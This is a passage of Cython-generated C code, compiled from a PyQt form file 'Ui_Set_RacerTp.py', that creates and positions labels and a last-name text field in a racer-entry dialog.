PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_5) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":39 * self.label_8 = QtWidgets.QLabel(Set_RacerTp) * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) * self.label_8.setObjectName("label_8") # <<<<<<<<<<<<<< * self.label_6 = QtWidgets.QLabel(Set_RacerTp) * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__24, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":40 * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) * self.label_8.setObjectName("label_8") * self.label_6 = QtWidgets.QLabel(Set_RacerTp) # <<<<<<<<<<<<<< * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) * self.label_6.setObjectName("label_6") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_6, __pyx_t_2) < 0) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":41 * self.label_8.setObjectName("label_8") * self.label_6 = QtWidgets.QLabel(Set_RacerTp) * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) # <<<<<<<<<<<<<< * self.label_6.setObjectName("label_6") * self.label = QtWidgets.QLabel(Set_RacerTp) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QRect); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__25, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":42 * self.label_6 = QtWidgets.QLabel(Set_RacerTp) * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) * self.label_6.setObjectName("label_6") # <<<<<<<<<<<<<< * self.label = QtWidgets.QLabel(Set_RacerTp) * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__26, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":43 * self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) * self.label_6.setObjectName("label_6") * self.label = QtWidgets.QLabel(Set_RacerTp) # <<<<<<<<<<<<<< * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) * self.label.setObjectName("label") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label, __pyx_t_2) < 0) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":44 * self.label_6.setObjectName("label_6") * self.label = QtWidgets.QLabel(Set_RacerTp) * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) # <<<<<<<<<<<<<< * self.label.setObjectName("label") * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QRect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__27, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":45 * self.label = QtWidgets.QLabel(Set_RacerTp) * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) * self.label.setObjectName("label") # <<<<<<<<<<<<<< * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__28, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":46 * self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) * self.label.setObjectName("label") * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) # <<<<<<<<<<<<<< * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname, __pyx_t_2) < 0) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":47 * self.label.setObjectName("label") * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) # <<<<<<<<<<<<<< * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) * self.R_lastname.setMouseTracking(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QRect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__29, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":48 * self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) * self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) # 